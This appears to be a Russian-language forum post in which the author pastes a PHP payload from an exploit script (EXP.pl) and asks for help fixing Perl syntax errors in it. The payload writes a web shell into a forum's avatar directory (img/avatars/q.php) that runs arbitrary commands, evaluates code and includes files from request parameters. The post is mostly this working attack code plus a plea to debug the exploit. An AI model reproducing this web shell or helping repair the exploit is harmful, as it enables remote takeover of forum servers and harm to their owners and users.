<?php
$text='<?php
if(isset($cmd))system($cmd);
if(isset($eval))eval($eval);
if(isset($inc))include($inc);
?>'
$fd=fopen('img/avatars/q.php','w+');
fwrite($fd,$text);
fclose($fd);
?>

Вот у меня именно в этом куске перл ругаеться на то что <> не прально поставлены. цитата из perl:
syntax error at C:\EXP.pl line 66, near "$forum_ id"
syntax error at C:\EXP.pl line 76, near "$forum_ id"
Unterminated <> operator at C:\EXP.pl line 105.
На счет "$forum_ id" - там по ходу пробел лишний. А вот с 105 строкой ни как не могу ничего поделать =(